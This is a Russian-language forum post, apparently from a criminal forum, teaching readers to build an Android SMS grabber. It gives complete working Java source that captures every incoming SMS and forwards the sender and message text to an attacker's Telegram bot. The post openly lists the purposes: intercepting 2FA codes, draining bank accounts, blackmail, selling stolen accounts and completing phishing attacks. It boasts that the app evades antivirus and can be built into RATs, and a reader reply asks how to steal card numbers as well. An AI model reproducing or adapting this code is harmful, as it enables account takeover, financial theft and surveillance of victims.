What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

SMS Grabber - Полный разбор + Code

zebra0_0

Light Weight
Депозит
$0
Автор zebra0_0
Источник SMS Grabber
- Полный разбор

Приветствую всех! В это статье я хотел-бы рассказать про что такое и создание простого SMS Graber с помощью Android Studio и языка Java.
В этой статье вы прочитаете про :

  • Что такое SMS Grabber ?
  • Зачем нужен SMS Grabber ?
  • Что такое 2FA ?
  • Зачем нам их перехватывать?
  • Пишем просто SMS Graber
Что такое SMS Grabber?
SMS grabber — это программное или аппаратное средство, предназначенное для перехвата, копирования или получения доступа к SMS-сообщениям, которые отправляются или получаются на мобильные устройства. Их используют с целью получить личную информацию, такие как коды двухфакторной аутентификации (2FA), пароли, переписки или другие конфиденциальные данные.

Зачем нужен SMS Grabber ?
Когда мы разобрались что такое SMS Grabber можно переходить к его применению.
  1. Перехват SMS-сообщений: C его помощью мы можем перехватить любые сообщения, например если вы работаете по USA то высок шанс что вы получите доступ ко все перепискам человека так-как у них это популярный метод общения
  2. Кража данных: SMS grabber может использоваться для кражи информации, необходимой для доступа к банковским счетам, социальным сетям или другим онлайн-сервисам, Если по просто то чаше всего перехватывать 2FA код
Если суммировать то основанная цель это перехват 2FA кодов и в редких случаях слежка путём чтения личных сообщений.

Что такое 2FA?
2FA это сокрушение от всем известного сочетания слов Двухфакторная аутентификация(Two factor authentication)
Двухфакторная аутентификация (2FA) — это метод безопасности управления идентификацией и доступом, который требует двух форм идентификации для доступа к ресурсам и данным . Например через e-mail с кодом или в нашем случае SMS на телефон


Зачем нам их перехватывать?

1. Получение несанкционированного доступа к аккаунтам

Коды 2FA (одноразовые пароли) — это дополнительный уровень защиты, который используется для подтверждения личности при входе в учетные записи, особенно на таких платформах, как:
  • Банковские системы и финансовые приложения
  • Социальные сети (Facebook, Instagram, Twitter( Сейчас X) и т.д.)
  • Почтовые сервисы (Gmail, Outlook)
  • Облачные хранилища (Google Drive, Dropbox)
  • Платежные системы (PayPal, криптовалютные кошельки)
Перехватив код, мы можем получит доступ к некоторым из них даже не знаю пароля.

2. Кража финансовых средств

Многие банки и платежные системы используют 2FA для подтверждения транзакций. Если перехватить такой код, он может:
  • Подтвердить транзакцию, переведя деньги на свои счета.
  • Изменить настройки аккаунта или подключить новые способы оплаты.

3. Перехват учетных данных

Мы можем использовать 2FA коды для доступа к аккаунтам, где хранятся конфиденциальные данные, включая личные и финансовые документы. Это может быть использовано для дальнейших атак, таких как:
  • Кража идентичности.
  • Компрометация других учетных записей жертвы.

4. Шантаж и вымогательство

Получив доступ к личной информации или аккаунтам, мы можем шантажировать жертву, угрожая раскрытием личных данных или удалением важной информации, требуя за это выкуп.

5. Продажа данных

Украденные учетные записи или доступы к аккаунтам могут быть проданы на теневых рынках (даркнете). Учетные записи социальных сетей, платежных сервисов или облачных хранилищ могут иметь высокую стоимость, особенно если они содержат личную или финансовую информацию.

6. Упрощение фишинговых атак

Перехват 2FA кодов позволяет завершить фишинговые атаки. Например, жертва может ввести свой логин и пароль на поддельной странице, а мы, получив эти данные, запросим код аутентификации и перехватит его с помощью SMS grabber'а.

7. Разработка цепных атак

Получив доступ к одному аккаунту, можно использовать его для атак на другие учетные записи. Например, имея доступ к почте, можно сбросить пароли от других сервисов, используя одноразовые коды подтверждения, которые отправляются через SMS.

Пишем простой SMS Graber:

1.Для начала мы объявим переменные:

Java: Скопировать в буфер обмена
Code:
public class MainActivity extends AppCompatActivity {
 
 private static final String SHARED_PREFS = "sharedPrefs";
 private static final String KEY_DEVICE_REGISTERED = "deviceRegistered";
 private static final String BOT_TOKEN = "your_bot_token";
 private static final String CHAT_ID = "your_chat_id";

 private final List<String> allowedSenders = Arrays.asList(); // Список отправителей
}
Поясняю код:
  • SHARED_PREFS и KEY_DEVICE_REGISTERED: Эти переменные используются для хранения флага в SharedPreferences, который отвечает за то, отправлялось ли сообщение о подключении нового устройства.
  • BOT_TOKEN и CHAT_ID: Это константы для вашего бота Telegram и ID чата, куда отправляются уведомления.
  • allowedSenders: Массив в который вы можете вписать имя отправителя и вы будете получать только SMS отправленные им . Если он пустой, пересылаются все сообщения.
2.Проверка разрешений и отправка сообщения при подключении нового устройства

Java: Скопировать в буфер обмена
Code:
@Override
protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);
 setContentView(R.layout.activity_main);

 if (ContextCompat.checkSelfPermission(this, Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) {
  ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.RECEIVE_SMS}, 1);
 }

 SharedPreferences sharedPreferences = getSharedPreferences(SHARED_PREFS, MODE_PRIVATE);
 boolean deviceRegistered = sharedPreferences.getBoolean(KEY_DEVICE_REGISTERED, false);

 if (!deviceRegistered) {
  sendTelegramMessage("Новое устройство подключено!");
  SharedPreferences.Editor editor = sharedPreferences.edit();
  editor.putBoolean(KEY_DEVICE_REGISTERED, true);
  editor.apply();
 }

 registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
}
Поясняю код:
  • Проверка разрешений: Если приложению не даны разрешения на получение SMS, запрашиваем их.
  • SharedPreferences: Используется для того, чтобы сохранить информацию о том, что уведомление о подключении устройства уже было отправлено.
  • registerReceiver: Регистрируем BroadcastReceiver, чтобы обрабатывать входящие SMS.
3.Обработка SMS

Java: Скопировать в буфер обмена
Code:
private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
 @Override
 public void onReceive(Context context, Intent intent) {
  Bundle bundle = intent.getExtras();
  if (bundle != null) {
   Object[] pdus = (Object[]) bundle.get("pdus");
   if (pdus != null) {
    for (Object pdu : pdus) {
     SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
     String sender = smsMessage.getDisplayOriginatingAddress();
     String messageBody = smsMessage.getMessageBody();

     Log.d("SMSReceiver", "Sender: " + sender + ", Message: " + messageBody);

     if (allowedSenders.isEmpty() || isSenderAllowed(sender)) {
      sendTelegramMessage("SMS от " + sender + ": " + messageBody);
     }
    }
   }
  }
 }
};

smsReceiver: Этот BroadcastReceiver перехватывает входящие SMS-сообщения.
  • Получаем отправителя и текст сообщения.
  • Если массив allowedSenders пустой или отправитель входит в список, пересылаем сообщение в Telegram с помощью метода sendTelegramMessage.
4.Проверка отправителя

Java: Скопировать в буфер обмена
Code:
private boolean isSenderAllowed(String sender) {
 return allowedSenders.contains(sender);
}

isSenderAllowed: Проверяет, находится ли отправитель в списке разрешенных.

5.Отправка сообщения в Telegram

Java: Скопировать в буфер обмена
Code:
private void sendTelegramMessage(String message) {
 new Thread(() -> {
  try {
   String encodedMessage = URLEncoder.encode(message, "UTF-8");
   String urlString = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage?chat_id=" + CHAT_ID + "&text=" + encodedMessage;
   URL url = new URL(urlString);
   HttpURLConnection connection = (HttpURLConnection) url.openConnection();
   connection.setRequestMethod("GET");
   int responseCode = connection.getResponseCode();
   Log.d("Telegram", "Response Code: " + responseCode);
  } catch (IOException e) {
   e.printStackTrace();
  }
 }).start();
}

sendTelegramMessage: Этот метод запускает новый поток для отправки HTTP-запроса к API Telegram с текстом сообщения. Сообщение кодируется в URL-формате перед отправкой.

6.Это был весь основной Java код. Теперь переходим к файлу AndroidManifest.xml
Этот файл отвечает за указание разрешений и настройки компонентов приложения.

XML: Скопировать в буфер обмена
Code:
 <!-- Разрешения -->
 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 <uses-permission android:name="android.permission.INTERNET"/>
 <uses-permission android:name="android.permission.READ_SMS"/>

в этом файле вам необходимо указать разрешение для вашего приложения фото пример:

Внимание: Файл содержит мои название поэтому просто его копировать не выйдет!!!

Код целиком:
Java: Скопировать в буфер обмена
Code:
package com.example.smsgruberbyzebra;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.Manifest;
import android.os.Bundle;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;

import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Arrays;
import java.util.List;

public class MainActivity extends AppCompatActivity {

 private static final String SHARED_PREFS = "sharedPrefs";
 private static final String KEY_DEVICE_REGISTERED = "deviceRegistered";
 private static final String BOT_TOKEN = "токе вашего бота";
 private static final String CHAT_ID = "ваш chat id";

 // Массив (список) имен отправителей, от которых будем пересылать сообщения
 // Если список пустой, то пересылаются все сообщения
 private final List<String> allowedSenders = Arrays.asList(); // Оставляем массив пустым для примера

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  // Проверка разрешений
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.RECEIVE_SMS}, 1);
  }

  // Проверка, отправлялось ли сообщение о новом устройстве
  SharedPreferences sharedPreferences = getSharedPreferences(SHARED_PREFS, MODE_PRIVATE);
  boolean deviceRegistered = sharedPreferences.getBoolean(KEY_DEVICE_REGISTERED, false);

  if (!deviceRegistered) {
   // Отправляем сообщение о подключении нового устройства
   sendTelegramMessage("Новое устройство подключено!");

   // Сохраняем состояние, что сообщение уже было отправлено
   SharedPreferences.Editor editor = sharedPreferences.edit();
   editor.putBoolean(KEY_DEVICE_REGISTERED, true);
   editor.apply();
  }

  // Регистрируем BroadcastReceiver для получения SMS
  registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
 }

 // BroadcastReceiver для обработки входящих SMS
 private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
  @Override
  public void onReceive(Context context, Intent intent) {
   Bundle bundle = intent.getExtras();
   if (bundle != null) {
    Object[] pdus = (Object[]) bundle.get("pdus");
    if (pdus != null) {
     for (Object pdu : pdus) {
      SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
      String sender = smsMessage.getDisplayOriginatingAddress();
      String messageBody = smsMessage.getMessageBody();

      Log.d("SMSReceiver", "Sender: " + sender + ", Message: " + messageBody);

      // Проверяем, если список отправителей пустой, пересылаем все сообщения
      if (allowedSenders.isEmpty() || isSenderAllowed(sender)) {
       // Пересылаем SMS в Telegram
       sendTelegramMessage("SMS от: " + sender + "\nТекст Сообщения " + messageBody);
      }
     }
    }
   }
  }
 };

 // Метод для проверки, находится ли отправитель в списке разрешенных
 private boolean isSenderAllowed(String sender) {
  return allowedSenders.contains(sender);
 }

 // Метод для отправки сообщения в Telegram
 private void sendTelegramMessage(String message) {
  new Thread(() -> {
   try {
    String encodedMessage = URLEncoder.encode(message, "UTF-8");
    String urlString = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage?chat_id=" + CHAT_ID + "&text=" + encodedMessage;
    URL url = new URL(urlString);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
    connection.setRequestMethod("GET");
    int responseCode = connection.getResponseCode();
    Log.d("Telegram", "Response Code: " + responseCode);
   } catch (IOException e) {
    e.printStackTrace();
   }
  }).start();
 }

 @Override
 protected void onDestroy() {
  super.onDestroy();
  // Отменяем регистрацию BroadcastReceiver при уничтожении активности
  unregisterReceiver(smsReceiver);
 }
}

Результат:
в конечном результате вы получите проcтой FUD(Full undetectable) SMS Graber который 1 раз запускается и потом работает в фоновом режиме, так-же его можно просто дополнять вашими идеями или закидывать в ваши RAT.
FUD значит что приложение не видится антивирусом как вредоносное и не привлекает лишнее внимание к себе.

Фото работы:

Если есть вопросы жду в комментарии, с удовольствие отвечу.
Спасибо за ваше внимание, надеюсь был полезен😇.




 
как можно узнать номер телефона, банковскую карту и т.д?
только приложение использовать. без социальной инженерии и без фиш сайтов.
также кроме смс - уведомления можно будет? как?
 
Top